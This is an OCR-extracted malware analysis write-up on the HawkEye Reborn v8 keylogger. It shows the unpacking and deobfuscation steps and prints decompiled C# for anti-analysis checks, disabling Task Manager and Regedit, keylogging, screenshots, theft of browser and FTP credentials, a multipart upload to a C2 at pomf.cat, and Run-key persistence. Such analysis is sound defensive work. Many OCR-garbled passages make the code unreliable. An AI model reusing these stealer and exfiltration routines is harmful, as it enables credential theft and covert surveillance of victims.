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Malware
File Type SHAZ256
Name
x32 exe
HawkEye (NET) b9561f35b2fa188ed20de24bb67956e15858aeb67441fb31cbcfe84eld4edc9a

Analysis process

The file is a Dotnet PE:

Detect It Easy v3.00 - O X
File name
|C: \Users\[EUser\Desktop\fb 2ca93f987313 108abdd4a6d68778 34| |
File type Entry point Base address Hash
PE32 - 00537d2e > Disasm 00400000 Memory map Strings
PE Export Import Resources MET LS Overlay Entropy
Sections TimeDateStamp SizeQflmage Resources Hex
0003 = 1977-12-29 23:53:01 0013000 Manifest Version
Scan Endianness Mode Architecture Type
Detect It Easy({DIE) - LE 32 1336 GUI
library JMET (wd.0.30319)[-] 5
linker Microsoft Linker(8.0)[EXE32] 5 7
Options
Signatures Deep scan About
Scan

On execution the file spawns a child process of the legitimate Dotnet AppLaunch.exe:

— (R

~ [15] mal.exe 4196
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There is only one reason to do that - Process Hollowing (A.K.A RunPE). As i learned from the great OALabs

channel, whenever you want to break with a dubugger on an injection to a remote process,

CreateProcessInternall and WriteProcessMemory are the first calls that you want to put a break on. doing as i

learned gave me a quick treat:

BEcru | [log @ Breskpoints MM MemoryMap [/ CallStack @] symboks

- References

'S Threads o Handes £/ Snowman

|

ssssssseas

68 AB259E77
E8 D10B0400
8B75 20

8B5S 10

8B4D 0C

8B45 08

8985 DOFIFFFF
8985 C8FIFFFF
898D 20FAFFFF
8935 ZCFAFFFF

14

8985 24F9FFFF
135

8985 2OF9FFFF

int3
intz
int3
int3
int3
int3

u
push kernelbase.779E25A8

€all kernelbase. 77958040

mov es1,dword ebp+20]
mov edx, dword ebp+10]
mov ecx, dword ebp+ClJ
mov eax,dword

mov dword ptr s
mov dword ptr
mov dword ptr
mov dword ptr
mov eax,dword
mov dword ptr
mov eax,dword ptr
mov dword ptr

. eb)

Eebp-630], eax
Lebp-633],eax
febp-sco], ecx
[Ehp scal, edx

CreateProcessInternalw

ws\\Microsoft. NET\\Framework\\va.
\\Microsoft.NET\\Frameworki\v4.0. 3031

[ebp-6E0] : "px"

EAX  OOEFEJAS
EBX 00000000
ECX 7BBD1BS1
EDX  00D0D0OD
EBP  OOEFEA43
ESP  OOEFE964
ESI 01220000
EDI OOEFEBSC

EIP  7791A460 <kernelb:

EFLAGS 00200344
ZF 1 PF 1 AF O
OF 0 SF O DF D
CFO TF1 IF1

LastError 50030004

ase.cr

8985 SOFAFFFF mov dword ptr LastStatus CO000139 (STATUS_ENTRY
8B45 24 mov eax,dword p
S 35T ey e Gubra ot S b Bemm
8985 1CFAFFFF |mov dword ptr Eg gggg g; ggi:
8B45 2C mov eax,dword
gggé ;gFBFFFF mgx g‘n“-‘urngwgﬁz ST(0) 00000000000000000000 X87r0
89BD 7CFOFFFF |mov dword prr = ST(1) 4000E000000000000000 XB7rl
3308 xor ebx,ebx ST(2) 4000D000000000N00000 X87r2
8990 SCFAFFFF |mov dword ptr ebp-544], ebx ST(3) 3FFDCI7CECOO0000D000 X87r3
8930 FOFOFFFF |mov dword ptr ss:[febp-610],ebx ST(4) 4014C000000000000000 XB7rd
33CH Xor eax,eax ST(5) 4014C000000000000000 X87FS
6618985 OCFAFR mov word th ss:[Jebp-5F4f, ax ST(6) 4006DCO0O0DD00D0O00000 XB7rE
839D 74FSFFFF | mov dword Eebp-esc, ebx ST(7) 3FFEB5D1745D1745D000 XB7r7
899D 18FAFFFF |mov dword [=bp-5E3], ebx
893D DCFOFFFF |mov dword [ebp-624] , ebx
899D 48F9FFFF |mov dword [ebp-cB3], ebx “g;mgg“‘;d EFFE B B (2
899D 4CFOFFFF |mov dword [ebp-6B4], ebx x _ (Empty]  XETTW_ (Em
899D ASFOFFFF |mov dword [ebp-658],ebx X87TW_2 3 (Empty) X87TW.3 3 (Em
899D 94F9FFFF |mov dword [=bp-66c],ebx X87TW_4 3 (Empty)  XB7TW.S 3 (Em
899D 3SFIFFFF mov dword Eebp-663],ebx X87TW_6 3 (Empty) x87TW_7 3 (Em
€A 12 push 12
58 pop eax <
*ls > | Default (stdcal)

1: [esp+4] 00000000

2: [esp+8] 063A53ES

3: [esp+C] 01291768

.text:7791A460 kernelbase.d11:$SEA460 #E9860 <CreateProcessInternalis 4: [esp+10] 00000000
5: [esp+14] 00000000

WWoumpl  @ypump2  WYoump3  WYpumpa  @oumps @ watch1  bellocals 7 stuct

UNICODE

57
an
74
61
76
31

75
00

00

00| €:\windo
00 | ws\Micra
00 | soft.NET
00 | Framewo
00 | rik\v4. 0.
00| 30319\Ap
00 | pLaunch
80| exe

oo|.

OOEFE9
ODEFEZ
ODEFED
ODEFED
ODEFES
ODEFED
ODEFED
ODEFEZ
ODEFED
ODEFED
DDEFED
ODEFED

77907148
00000000
063A53E8
01291768
00000000
00000000
00000000
00000004
00000000
00000000
OOEFE9AS
O0EFEECD
00000000

The malware is calling to CreateProcessInternalll , pass AppLaunch.exe as a parameter, and "4" as seventh

argument which will make the process in suspended mode (Process Hollowing creates a process in suspended

mode so it can hollows out the process, inject, and then execute).

We could manually find the unpacked PE in memory and dump it, and we also can be lazy and let great

Hollows_Hunter.exe do it for us:
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> hollows_hunter.ex Jdmode 2

PE-sieve

scanning PID:
*#] This is a .MET may require Enty Point corection. Current EP:
*] Found possible vy Point: 8blce

Failed dumping module!

This is a .MET payload and may require Enty Point corection. Current EP:

Found possible Entry Point: Bblce

Failed dumping module!

This i=s a .MET ad and may require Enty Point corection. Current EP:

Found possible Entry Point: 8blce

Failed dumping module!

inished scan in:

+] Total Suspicious:

+] List of suspicious:

@]: PID: 2728, Name: ApplLaunch.exe

Not sure if the file dumped successfully or this one is perfectly obfuscated. Trying to deobfuscate with De4dot:
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EXN Windows PowerShell

1.4159 485 Copyright (C) 1 il.
ion and source code: htt ’ . d/ded

\dumped

umped-cleaned.

tack walue. If the method's obfusca

is throwing an error.. a closer look at the file in Dnspy reveals the obfuscator which apparently is not supported /
known by De4dot:

Reborn Stub.exe

Some googling on deobfuscating ConfuserEx gives us this project which adds to De4dot exactly this capability:

EX Windows PowerShell

PS C:\Users\IEUser\Downloads\deddot-cex> .\deddot.exe C:\Users\IEUser\Desktop‘\dumped.exe

deddot v3.1.41592.3405 cCopyright (C) 2011-2015 deddot@gmail.com
Latest version and source code: https://github.com/Oxd4d/deddot

Detected ConfuserEx v1.0.0 (C:\Users\IEUser\Desktop\dumped.exe)
leaning C:\Users\IEUser\Desktop\dumped.exe

Renaming all obfuscated symbols

saving C:\Users\IEUser\Desktop\dumped-cleaned.exe

Now the file is dumped and cleand (pretty much) *=.

Analyzing the code (which is still a bit obfuscated) reveals that this is a kelogger / stealer (with some RAT

capabilities) named HawkEye Reborn version 8:
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string_2 = GClass13.smethod_10("HawkEye Keylogger - Reborn v8{@}{1} Logs{@}{2} \\ {3}{e}{e}{4}", new object[5]
{
GClass13.smethod_7(),
smethod_5(genuml_0),
GClass13.smethod_8(),
GClass13.smethod 9(),
string_2
1)
string str = GClass13.smethod_39(GClass13.smethod_39(GClassl13.smethod_11("HawkEye Keylogger - Rebern v8 - {@} Logs - {1} \\ {2}",
string str2 = DateTime.Now.ToString("dd-MM-yyy-HH-mm", GClass13.smethod_40());

Description from Malpedia:

HawKeye is a keylogger that is distributed since 2013. Discovered by IBM X-Force, it is currently
spread over phishing campaigns targeting businesses on a worldwide scale. It is designed to steal
credentials from numerous applications but, in the last observed versions, new "loader capabilities"

have been spotted. It is sold by its development team on dark web markets and hacking forums.

From here on i used only static analysis on the unpacked sample
Anti-Analysis capabilities

Checks if it runs under process monitor software:

Process processByld = Process.GetProcessById(int );
if (!processByIld.ProcessName.ToLower().Equals(“taskmgr”) && !processById.ProcessName.ToLower().Equals(”processhacker”) &% !empty.ToLower().Equals(”process explorer™))

continue;

B I P S T

Checks if it runs under Sandboxie (SbieDIl.dll) or Wireshark:

private static bool smethod_2()

{
return GetModuleHandle("ESS0OFARI") . ToInt32() != @;
}
private static bool smethod_3()
{
process_@ = GClass@.smethod_7();
Process[] array = process_@;
foreach (Process process_ in array)
if (GClass@.smethod 9(GClass@.smethod 8(process_), "The Wireshark Network Analyzer") || GClass@.smethod_9(GClass@.smethod B(process_), "WPE PRO"})
return true;
}
return false;
}

public static void smethod_4()
while (true)

if (smethod_2() || smethod_3())

i
GClass@.smethod_1@("Emulation Detected!™);
GClass@.smethod_11();
GClasse.smethod_12(8);

}

GClass@.smethod_13(1eeee);

¥
}

Disables Task Manager, Cmd, and Regedit:
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public static bool smethod_1()

{

try

{
RegistryKey registryKey = GClassl.smethod 4(Registry.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"};
if (GClassl.smethod_5(registryKey_, "DisableTaskMgr") != null)

GClassl.smethod_7(registryKey , "DisableTaskMgr");
}
else
GClassl.smethod_6(registryKey , "DisableTaskMgr”, (object)"1");

1
GClassl.smethod 8(registryKey );
return true;

catch (Exception exception_)

{
GClassl.smethod 9(exception_);
bool result = false;
GClassl.smethod 10();
return result;

}

}

public static bool smethod_2()

{
try
{
RegistryKey registrykey = GClassl.smethod 4(Registry.CurrentUser, "Software\\Policies\\Microsoft\\Windows\\System");
if (GClassl.smethod 5(registrykey , "DisableCMD") == null)
GClassl.smethod_6(registryKey_, "DisableCMD", (object)™1");
b
else
GClassl.smethod_7(registrykey , "DisableCMD");
GClassl.smethod 8(registrykey_);
return true;
catch (Exception exception_)
GClassl.smethod_9(exception_);
bool result = false;
GClassl.smethod 16();
return result;
}
}
public static bool smethod 3()
{
try
{

RegistryKey registrykey = GClassl.smethod 4(Registry.CurrentUser, "Software\\Policies\\Microsoft\\Windows\\System");
if (GClassl.smethod_5(registrykey_, "DisableRegistryTools") == null)

GClassl.smethod_6(registryKey_, "DisableRegistryTools"™, (object)"1");
}
else

GClassl.smethod 7(registryKey_, "DisableRegistryTools™);

GClassl.smethod_8(registrykey_);
return true;

P T S I DU

Sets hidden + system attributes for itself:

private static void smethod_S5(string string_@)

1

GClass5.smethod _17(string_ @, FileAttributes.Hidden);
GClass5.smethod 17(string_ @, FileAttributes.System);

The malware has the functionality to block websites by overriding the Hosts file and redirect them to the localhost

address:
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try

string string_ = GClass10.smethod_2(GClass10@.smethod_1(Environment.SpecialFolder.System), "\\drivers\\etc\\hosts");
string string_2 = GClass10.smethod_3(string );

string[] string_3 = GClass28.GClass35_@.String_17;

foreach (string text in string_3)

if (!GClass10.smethod_4(string_2, text))
{

}

GClass10.smethod_7(string_, GClass10.smethod_6(GClass1@.smethod_5(), "127.0.0.1 ", text));

Stealing capabilities
The malware has Keylogging capabilities (Also called HawkEye Keylogger):

private void method 3()

1
dictionary @ = new Dictionary<Keys, string=();
Dicticnary<Keys, string» dictionary = dictionary @;
dicticnary.Add(Keys.Cancel, “<Cancel:");
dicticnary.Add{Keys.Back, "<B5:");
dicticnary.Add{Keys.Tab, "<Tab>");
dictionary.Add(Keys.LlineFeed, "<LineFeed>")};
dictionary.Add(Keys.Return, Class21.smethod_2());
dictionary.Add(Keys.ControlKey, "<CTRL>");
dictionary.Add(Keys.LControlkey, "<CTRL:>");
dicticnary.Add(Keys.RControlKey, “<CTRL>");
dicticnary.Add(Keys.Menu, "<ALT>");
dicticnary.Add(Keys.Menu, "<ALT>");
dicticnary.Add(Keys.RMenu, "<ALT>");
dictionary.Add(Keys.Pause, "<Pause/Break:");
dictionary.Add(Keys.Capital, "<CapsL>");
dictionary.Add(Keys.Prior, "<PageUp="};
dictionary.Add(Keys.Next, “"<PageDown:");
dicticnary.Add(Keys.End, “"<End>");
dicticnary.Add(Keys.Home, "<Home>"});
dictionary.Add({Keys.Left, "<LArrow:");
dicticnary.Add(Keys.Up, "<UArrow:");
dictionary.Add(Keys.Right, "<RArrow:"};
dictionary.Add(Keys.Down, "<DArrow>"};
dictionary.Add(Keys.Select, "<Select:>");
dictionary.Add(Keys.Print, "<Print:");
dicticnary.Add(Keys.Snapshot, "<PrintScreenz");
dicticnary.Add(Keys.Insert, “"<Insert:");
dicticnary.Add(Keys.Delete, “<Deletex");
dicticnary.Add(Keys.Lhin, "<Windows>");
dictionary.Add(Keys.Riin, "<Windows>"};
dictionary.Add(Keys.dpps, “<fpps>");
dictionary.Add(Keys.FI, "<F1:"};
dictionary.Add(Keys.F2, "<F2:"

);
dicticnary.Add(Keys.F3, "<F3:");
dicticnary.Add(Keys.F4, "«<F4:");
)
)

&

dicticnary.Add(Keys.F5, "<F5:"
dicticnary.Add(Keys.F&, "<F&2"

¥

Takes screenshots of the infected computer:
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internal class Class24

{
public static string smethod @()
- {
return Class19.smethod_@(smethod_1());
-}
public static Image smethod_1()
B {
Rectangle rectangle = Class24.smethod 2();
Bitmap bitmap = new Bitmap(rectangle.Width, rectangle.Height, PixelFormat.Format24bppRgh);
using Graphics graphics = Graphics.FromImage(bitmap);
graphics.CopyFromScreen(rectangle.X, rectangle.¥, @, 8, rectangle.Size, CopyPixelOperation.SourceCopy);
return bitmap;
-}
static Rectangle smethod 2()
2 f
return SystemInformaticn.VirtualScreen;
- i
~}

Steals Chrome browser data:

private static void smethod 2()

i
string string_ = GClass6.smethod_7(GClassé.smethod_6(Environment.SpecialFolder. LocalApplicationData), "\\Google\\Chrome\\User Data‘\"
if (!GClass6.smethod_1@(string_))
{
return;
}
string[] array = GClass6.smethod 11(string );
foreach (string string_2 in array)
1
string string 3 = GClass6.smethod_7(string_2, "\\Login Data");
if (GClass6.smethod 8(string_3))
GClass6.smethod_9(string_3);
}
string string_4 = GClass6.smethod_7(string_2, "\\Web Data");
if (GClass6.smethod 8(string_4))
GClass6.smethod 9(string_4);
string string 5 = GClass6.smethod 7(string 2, "\\Cookies");
if (GClass6.smethod 8(string_5))
GClass6.smethod_9(string 5);
b
string string 6 = GClass6.smethod_7({string_2, "\\History");
if (GClassé6.smethod 8(string_6))
GClass6.smethod 9(string_6);
i
i
b

Steals Firefox browser data:

Page 8 of 13


https://github.com/itaymigdal/malware-analysis-writeups/blob/main/HawkEye/img/17.PNG
https://github.com/itaymigdal/malware-analysis-writeups/blob/main/HawkEye/img/17.PNG
https://github.com/itaymigdal/malware-analysis-writeups/blob/main/HawkEye/img/18.PNG
https://github.com/itaymigdal/malware-analysis-writeups/blob/main/HawkEye/img/18.PNG

https://github.com /itaymigdal /malware-analysis-writeups/blob/main/HawkEye/HawkEye.md

private static void smethod 3()

string[] array = GClassé.smethod_11(GClass6.smethod_7(GClass6.smethod_6(Environment.SpecialFolder.ApplicationData), "\\Mozilla\\Firefox\\Profiles\\"}};
foreach (string string  in array)

i
string string_2 = GClasse.smethod 7(string , "\\Login Data™);
if (GClass6.smethod 8(string 2))

GClass6.smethod_9(string_2);

b
string string_3 = GClass6.smethod_7(string_, "\\signons.txt");
if (6Class6.smethod 8(string 3))

GClass6.smethod 9(string 3);

string string 4 = GClassé.smethod 7(string , "‘\\signons2.txt™);
if (GClass6.smethod 8(string 4))

GClass6.smethod_9(string_4);

string string_5 = GClassé.smethod_7(string_, "\\signons3.txt");
if (G6Class6.smethod _8(string_5))

GClass6.smethod_9(string 5);

string string 6 = GClassé.smethod 7(string , "\\signons.sqlite™);
if (GClass6.smethod 8(string 6))

GClass6.smethod_9(string_6);

string string_7 = GClassé.smethod_7(string_, "\\key3.db");
if (G6Class6.smethod _8(string_ 7))

GClass6.smethod_9(string 7);

Steals CoreFTP software data:

string text = string.Empty;
string text2
string text3
string text4
string text5 H
string string_2 = "HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\";
string[] array2 = array;

foreach (string object_ in array2)

text2 = GClass19.smethod_21(GClass19.smethod_28(GClass19.smethod_19(GClass19.smethod_4(string_2, "{@}"), (cbject)object_), "Host", (object)™ "));

text4 = GClass19.smethod_21(GClass19.smethod_20(GClass19.smethod_19(GClass19.smethod_4(string_2, "{@}"), (cbject)object_), "User”, (object)"™ "));

text3 = GClass19.smethod_21(GClass19.smethod_20(GClass19.smethod_19(GClass19.smethod_4(string_2, "{@}"), (object)object_), "Port", (object)" "));

text5 = smethod_1(GClass19.smethod_21(GClass19.smethod_20(GClass19.smethod_19(GClass19.smethod_4(string_2, "{0}"), (object)object_), "PW", (object)" ")));
if (!6Class19.smethod_22(text4) &8 !GClass19.smethod_22(text3) && !GClass19.smethod_22(text2))

text = GClass19.smethod_4(text, \r\n");
text = GClass19.smethod_4(text, "Program: CoreFTP\r\n");

text = GClass19.smethod_23(text, “"Host: ", text2, "\r\n");

text = GClass19.smethod_23(text, "Port: ", text3, "\r\n");

text = GClass19.smethod_23(text, “"Username: ", textd, "\r\n");

text = GClass19.smethod_23(text, "Password: ", text5, "\r\n");

text = GClass19.smethod_f(text, ™**¥kkxkkkkkskxak sk kkkkikiiikikknkmeke ks r\n\r\n") ;

}
}

return text;

Steals Minecraft data:
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private static string smethod_@()

i
}

return GClass22.smethod_4(GClass22.smethod_3(Environment.SpecialFolder.ApplicationData), ".minecraft");

public static string smethod_1()

{

string text = string.Empty;
string text2 = string.Empty;
string text3 = string.Empty;
if (GClass22.smethod_5(String_@))

GClass24 gClass = GClass24.smethod_2(String_8);

if (gClass != null)

GC]BSSzz,!"‘thﬂd_?(text, EEEEEEEEE LR E b b EE R EE R E L b b b e U\‘r.l‘n");

", text3, "\r\n");
GClass22.smethod_7(text, "FFFerefrerressssriftikk e esxErkE e ek eeee®\ n\n\r\n");

text2 = gClass.string 1;
text3 = gClass.string 2;
}
if (!GClass22.smethod_6(text2) && !GClass22.smethod_6(text3))
i
text =
text = GClass22.smethod_7(text, "Program: MineCraft\r\n");
text = GClass22.smethod_8(text, "Username: ", text2, "\r\n");
text = GClass22.smethod_8(text, "Password:
text =
}

return text;

}
return string.Empty;

Collects a plenty of more information: internal & external address, geolocation, installed software, clipboard

content, screenshots, passwords and more:

public static string smethod_1()

{

StringBuilder stringBuilder_ = GClass17.smethod_4();

GClass17.smethod_5(stringBuilder_, “"User");

GClass17.smethod_5(stringBuilder , GClass17.smethod_6("-
GClass17.smethod_5(stringBuilder , GClassl7.smethod_6("-
GClass17.smethod_5(stringBuilder , GClassl7.smethod_6("-
GClassl7.smethod_5(stringBuilder , GClassl7.smethod_6("-
GClass17.smethod_5(stringBuilder_, GClass17.smethod_6("-

GClass17.smethod_7(stringBuilder_)

'

GClass17.smethod_5(stringBuilder_, “"Network"
GClass17.smethod_5(stringBuilder_, GClassl7.smethod_6("-
GClass17.smethod_5(stringBuilder_, GClassl7.smethod_6("-
GClass17.smethod_5(stringBuilder_, GClassl7.smethod_6("-

GClass17.smethod_7(stringBuilder_);

DF

GClass17.smethod_5(stringBuilder_, "System");

GClass17.smethod_5(stringBuilder_, GClassl17.smethod_6("-
GClass17.smethod_5(stringBuilder_, GClass17.smethod_6("-
GClass17.smethod_5(stringBuilder_, GClassl17.smethod_6("-
GClass17.smethod_5(stringBuilder_, GClass17.smethod_6("-
GClass17.smethod_5(stringBuilder_, GClass17.smethod_6("-
GClass17.smethod_5(stringBuilder_, GClassl7.smethod_6("-
GClass17.smethod_5(stringBuilder , GClassl7.smethod_6("-

GClass17.smethod_7(stringBuilder_);

GClass17.smethod_5(stringBuilder_, "Applications™);

GClass17.smethod_5(stringBuilder_, GClass17.smethod_6("-
GClass17.smethod_5(stringBuilder_, GClass17.smethod_6("-
GClass17.smethod_5(stringBuilder_, GClassl7.smethod_6("-
GClass17.smethod_5(stringBuilder_, GClassl7.smethod_6("-

return GClass17.smethod_9(stringBuilder_);
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private static string smethod 5({GEnuml genuml i

1

return genuml @ switch

{

GEnuml. Test =» "Test"”,
GEnuml.Keyboard => "Keyboard",
GEnuml. Passwords =» "Passwords”,
GEnuml.PCInfe =» "PCInfo”,
GEnuml. 5creenshot = “"Screenshot"”,
GEnuml. Webcam => "Webcam",
GEnuml.Clipboard =»> “Clipboard”,

_ =» "Other",

And post all the data to the C2:

internal class Classl9

public const string string @ = "http://pomf.cat/upload.php™;
public const string string I = "https://a.pomf.cat/";
public static string smethod_@(Image image @)

try
{
string text = "---------oomooooo- " + DateTime.Now.Ticks.ToString("x");
Encoding.ASCII.GetBytes(Environment.NewLine + Environment.NewLine + "--" + text + Environment.NewlLine + Environment.Mewline);
HttpWebRequest httpllebRequest = (HttpllebRequest)WebRequest.Create("http://pomf.cat/upload.php™);
using (MemoryStream memoryStream = new MemoryStream())

image_@.Save(memoryStream, ImageFormat.Png);

memoryStream.Position = L;

byte[] bytes = Encoding.UTF8.GetBytes("--" + text + Environment.Newline + "Content-Disposition: form-data; name=\"files[]\"; filename=\"file.png\"™ + Er
byte[] bytes2 = Encoding.ASCII.GetBytes(Environment.NewLine + "--" + text + "--" + Environment.NewlLine + Environment.NewlLine);
httpWebRequest.Contentlength = checked(bytes.Length + memoryStream.Length + bytes2.length);

httpWebRequest.ContentType = "multipart/form-data; boundary=" + text;

httpWebRequest.Method = "POST";

httpWebRequest.KeepAlive = true;

using Stream stream = httpWebRequest.GetRequestStream();

stream.Write(bytes, @, bytes.Length);

byte[] array = new byte[4896];

int gparam_ = @;

while (smethod_1(ref gparam_, memoryStream.Read(array, @, array.lLength)) = @)

1

stream.Write(array, @, gparam_);
¥
stream.Write(bytes2, @, bytes2.Length);

WebResponse webResponse = null;
try

webResponse = httpllebRequest.GetResponse();

catch (WebException ex)

C2: pomf.cat
Persistence:

The malware persist itself via a run key:

public static void smethod_7()

{
smethod_8("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 1);

smethod_8("Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", 1);
if (GClass17.Boolean_0)

{
smethod_8("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 2);

smethod_8("Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", 2);

More capabilities:
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The malware uses P/Invoke calls to native libraries to extend the capabilities and harden the analysis:

public const int int_@ = 0;

[D11Import(“user32.d11")]
public static extern IntPtr GetForegroundWindow();

[D11lImport(“user32.d11", CharSet = CharSet.Auto)]
public static extern int GetWindowText(IntPtr intptr_0, StringBuilder stringBuilder_ @, int int_1);

[D11lImport(“user32.d11")]
public static extern int GetWindowThreadProcessId(IntPtr intptr @, ref int int_1);

[D11Import(“user32.d11")]
public static extern bool UnhookWindowsHookEx(IntPtr intptr_0);

[D11lImport(“user32.d11")]
public static extern IntPtr SetWindowsHookEx(Enuml3 enuml3_@, Delegate4 delegated4 @, IntPtr intptr_@, uint uint_8);

[D11Import("user32.d11")]
public static extern IntPtr CallNextHookEx(IntPtr intptr_@, int int_1, IntPtr intptr_1, ref Struct2 struct2_0);

[D11lImport(“user32.d11")]
public static extern int ToUnicodeEx(uint uint_@, uint uint_1, byte[] byte_@, [Out][MarshalAs(UnmanagedType.LPWStr)] StringBuil:

[D11Import(“user32.d1l™, CharSet = CharSet.Unicode)]
public static extern short GetKeyState(uint uint_0);

[D11Import(“user32.d11™)]
public static extern bool GetKeyboardState(byte[] byte_@);

[D11Import(“user32.d11")]
public static extern IntPtr GetKeyboardLayout(uint uint_0);

Seems like the next commands are used to be written into a .bat file that responsible for the persistence via the run
key, it's executes the malware, and then possibly deletes itself (and written back next execution, depending if is

written to "run" or "runonce"):

private static vold smethod_7(string string_@)
if (6Class28.6Class35_8.Boolean_14)
smethod 8("ping 1.1.1.1 -n 1 -w 1 » Nul & Del \"{B}\" & start \"\" \"{1}.exe\"", GClass17.String B, string @);
1
else
smethod 8("ping 1.1.1.1 -n 1 -w 1 > Nul & start \"\" \"{1}.exe\"", string_@);

1
GClass5.smethod 20(8);

Also, the malware seems to inject itself into a remote process due to these API calls:

if (!bool 0 && numd == @)
{

flag = true;
num4 = GClass33.VirtualAllocEx(gstruct2 .intptr 0, 0, int_3, 12288, 64);

if (numd == 0)
{
throw Class26.smethod_9();
if (!GClass33.WriteProcessMemory(gstruct2_.intptr_6, numd4, byte_0, int_4, ref int_2))

throw Class26.smethod_9();

That's it for today, hope you enjoyed &5
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